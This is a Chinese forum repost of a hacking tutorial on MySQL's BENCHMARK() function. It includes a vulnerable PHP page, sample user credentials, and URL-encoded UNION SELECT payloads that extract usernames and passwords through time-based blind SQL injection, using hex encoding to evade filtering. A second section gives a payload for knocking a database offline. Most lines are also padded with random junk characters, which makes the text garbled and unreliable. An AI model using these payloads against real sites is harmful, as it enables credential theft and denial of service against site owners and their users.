找回密码
 立即注册
查看: 2907|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 9 |; a$ R+ D% |7 l
本文作者:SuperHei
6 U( o( G; A# n  a  _文章性质:原创- X- u0 I( ^2 _' K
发布日期:2005-01-02# g) E7 h3 ~, m6 o+ O* T
完成日期:2004-07-09
% q' q4 E5 h/ u7 c第一部
9 K1 W( \0 D$ G& j. a. Y% q  E- U* Q) P$ b% e9 \. G/ |% F1 {
利用时间推延进行注射---BENCHMARK函数在注射中的利用
' w- N+ s7 W0 `  p0 R# i
4 Q# \& ^9 M8 i; J一.前言/思路
  z' w( X' e/ y$ Y- d
$ H/ W0 I& W3 f4 \( m, Y, I  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; U8 x! P# Y! U9 y- P& p- I! p2 A# r- I/ i0 T
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。3 i5 m5 v% `- P5 K$ F' B% O
% I; _2 @- S( R! d4 {
二.关于BENCHMARK函数/ ~  M% _+ d# Q4 b; t, `
8 ?/ d$ ^( R- l! _4 E' B1 {# A
  在MySQL参考手册里可以看到如下描叙:
0 ~4 u' ]* {6 K* k& n; P$ T5 N1 _, I
5 T4 k' E! B: ]6 X! A
7 |/ D" B/ ~; @2 q% l--------------------------------------------------------------------------------& U5 t2 G9 d4 I8 s& a
& T/ R6 l. K( v9 S" N$ Y9 s5 r
BENCHMARK(count,expr) 5 ~# U! C- D! Z2 a' e
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 " I7 r( \' z: e6 w6 Z
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" u& u7 X& z) y4 U' V! D3 D3 x- M+----------------------------------------------+
( G: {5 P6 D2 Y8 Q' z$ m| BENCHMARK(1000000,encode("hello","goodbye")) |
1 i4 t% `( O1 f+----------------------------------------------+ 8 g/ x+ X2 e9 n! V& |- g' z/ Q& U
| 0 |
* S" G6 w9 D# v) `1 x6 D, w# w) c/ n+----------------------------------------------+
2 m5 T4 t( X5 n- e, \# @; R8 B1 row in set (4.74 sec)
8 D1 S& W' O$ Q6 x
; C  @- p' n; @2 Q: Z0 A报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。. l, k3 _/ ]( W8 H& ?8 }, J% Y

% e) u& v$ a1 r- Y4 l* ^! M
7 b( A% k5 D1 c9 E+ g% v--------------------------------------------------------------------------------
8 O' [: `8 x6 Q7 _' l  {# q5 R% N; y$ m0 H5 u4 \; z2 y; `) V
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ! H( h/ w6 x8 i9 X/ s& n4 @7 ]9 \  S

" q0 o- Y& _" g" v  M( emysql> select md5( 'test' );
8 \! ^, X, [' @. j( I8 P5 B+ k+----------------------------------+
' V0 g4 ]3 ^% @. y| md5( 'test' ) |
. k4 P8 g2 F5 H& G3 x+----------------------------------+
8 V2 M* Q# j& \& F: a| 098f6bcd4621d373cade4e832627b4f6 |
2 e$ C8 d, V5 m2 C+----------------------------------+
& }$ B3 p  C& v$ S, f5 V0 L  L1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
9 T6 D; h. J+ a) S! L( S' h2 S# K/ N" z! x3 t# D% r# u( I6 F
mysql> select benchmark( 500000, md5( 'test' ) );
# k* X2 ]9 c" T% Q. }( \+------------------------------------+
* \" L- q2 X2 N/ r' o% n: v| benchmark( 500000, md5( 'test' ) ) |
* }; `# v. v  a! V8 K) n! q* d+------------------------------------+ ( R4 `9 p( I3 ^. s; ?3 U0 {
| 0 |
, v. R5 g8 l5 h  ]7 n+------------------------------------+
: \6 d4 U3 ^+ K# [. L1 row in set (6.55 sec) 〈------------执行时间为6.55 sec5 v; W5 m8 P5 ^- t  G8 E
" h1 p" X5 M1 r- l7 p
  f) _4 p0 Y7 q  W
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 & R) k6 ~" j: o3 k* O: f
* g4 D- G) e; H3 B2 {- }
三.具体例子
$ q( \1 `3 l$ O, B3 K/ }' Q
; g9 }9 X1 P7 e" u  首先我们看个简单的php代码:* w/ D5 p6 X7 D1 M( U) y8 C

, {1 ?1 e- {; u- c/ A+ f: c< ?php
3 x" Y" p5 x% {0 G: N# U9 u, ~- I$servername = "localhost"; 3 a, l! {* d* A* H9 y
$dbusername = "root"; ' p/ Y- l& v$ P' G
$dbpassword = "";
0 [* Y3 b$ q4 h* K- R) _! c$dbname = "injection";
+ _! e( f' ^& i
0 p- m4 i1 U& _mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
* j/ d, ~, u7 {+ z: U' h
" R! P! x# a1 m$sql = "SELECT * FROM article WHERE articleid=$id";
; w, x# c7 @' N8 m, k$result = mysql_db_query($dbname,$sql); 6 p% g# @, h9 B' q* A8 s, Q$ ^3 M
$row = mysql_fetch_array($result); 5 v( ]" Q8 j) S$ u, I6 x7 J  b

# w1 ~; W( x6 x8 [$ q. p5 }if (!$row)
# _6 \' ~1 ~( V3 X) d5 B{ ( f! x. ?% b& @3 M- R/ f
exit;
# f  k: M: r  g; k8 V$ r+ |# Q}
% j# ?& x9 Y  @& `% l( B?>! Z& y& R3 c, u2 ?
0 \$ M! e# R! O5 L
+ l* z* r0 h1 u% z! H
  数据库injection结构和内容如下:
. ]: r4 c( r* f8 N) u
9 t8 v; k  H- y  o- s- A% w0 D2 l# 数据库 : `injection` 3 z2 r5 K' L1 W! P, ?
# / B7 w& \0 z7 U

1 R: t# n# g0 N# v6 x5 E  ?* O! i# --------------------------------------------------------
+ F, t1 |) B: E% U5 R# T
. ^/ y; R4 @5 Z#
- V" z4 o+ @7 c  O/ H  f4 R  l# 表的结构 `article`
; N& m: ^" z, f( B( x# 7 Z7 ^) A9 i4 N2 a! e- t
9 D' `/ V' L# I/ ]) E7 j1 J" a! z( ?
CREATE TABLE `article` ( : K8 I1 I: E+ ^" i  P6 a
`articleid` int(11) NOT NULL auto_increment,
$ c% K, _. e" n7 ?* ?4 t`title` varchar(100) NOT NULL default '',
# W, V7 s& o) P3 Z, t$ q% u/ k`content` text NOT NULL,
+ u( r  K" f1 c2 C- fPRIMARY KEY (`articleid`) " m5 [& k: _* f: J6 H. ~
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' W4 e$ [2 P0 i( I* E" H0 m

2 l5 h* `6 ^: H# u/ R#
' N2 u( ^" _5 ]+ Q: n- \9 H% p# 导出表中的数据 `article` 5 y( c( G, E# a
#
0 A& }" R4 _, ~3 |' K
5 Y, @2 U- d: r" A# a$ nINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
+ d; y8 l* H0 h0 v+ j% z, ~3 YINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
( x8 l6 }& \, D  U# r4 N8 o4 n, p. G9 p4 V* B; t
# -------------------------------------------------------- 0 h" w* _6 `- p9 H0 F2 s: o: X

7 r, U7 `7 w, e# 9 L7 w" C* I2 G: E$ r! {' d% t
# 表的结构 `user` - _% {! J0 D1 v  |
# 0 T3 v& |' \" T, R) r+ x/ ~

, O1 v: v& Q4 R5 O0 qCREATE TABLE `user` (
. X: X; m9 u/ @`userid` int(11) NOT NULL auto_increment,
% O. U9 L# W1 t9 B( U, C3 B`username` varchar(20) NOT NULL default '', 5 k: b6 l+ I. e; F9 [6 \8 }1 |: `$ C
`password` varchar(20) NOT NULL default '',
& Z' ?* t4 _7 o  k- ?PRIMARY KEY (`userid`) 7 z5 ]5 t; ]; n6 C$ U3 Y9 O
) TYPE=MyISAM AUTO_INCREMENT=3 ;
9 A( l* I/ J4 o6 V! }- U; a4 e) ?' ^2 e6 n7 i
#
( h5 c" @; j$ d3 y$ a* g7 k2 B# 导出表中的数据 `user` " U5 `$ s; n! ^; E" ], |
#
% N* x6 r, S) o7 ?& b! h1 L
5 o8 |- `$ Q2 s2 b5 n* h+ T9 }; hINSERT INTO `user` VALUES (1, 'angel', 'mypass');   I# g5 ^4 {- r% n+ M% p* J/ a% d  ^
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');$ p6 L7 g7 I; c

9 J" f. f2 Z* p  P- |& i- X; v; N$ ~2 W5 n
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:. N# v& o* |) s- J: i* B1 b: [
5 Z- `, I4 u, q6 p! }1 Q5 ^8 e8 ?0 y7 D
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
9 n  b2 C9 n( w' q( U6 e) v 5 x& ~6 N) P6 J
4 B! d% b! |0 d, y$ g
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:- ^% h$ [  X# }4 c9 L$ P

8 B) v1 w7 b4 z* \- q) Ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*; h# W  U% L( U5 M, a0 S) {/ X/ m
3 H& N4 f* Q% {0 u9 i% H% l  R& R
0 Z4 x2 ]- M9 ^; i4 z* X
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
; ]1 k9 ]- H, ?" K9 n! n6 I+ }1 @7 `* K' L' }  t
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * Q8 e6 p# E& `3 B

! J- y: m; I' U5 e第二部
, U& Y# ]3 a" S
7 o/ m+ x( \3 O/ Z利用BENCHMARK函数进行ddos攻击 2 I9 x1 \- c3 I" K- \4 c( p; j
: I/ O* t/ D9 y+ \
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 k7 `8 E9 j8 k* t

9 w$ C. d( s- e8 M! Chttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# O0 {* q5 Y( i& V! _2 h9 k
: ^5 [" C( c6 W5 J8 O7 [) Y! [( @' j( @- l! B) y# s$ W
小结
4 _: h4 u1 S6 N- k- E, H# o, u2 g/ c% z" o
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。1 M& e# j; k; _, A% z& J

- k4 d  h& [1 s, H" H1 r  
) `& B( H& Z; _2 i. i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表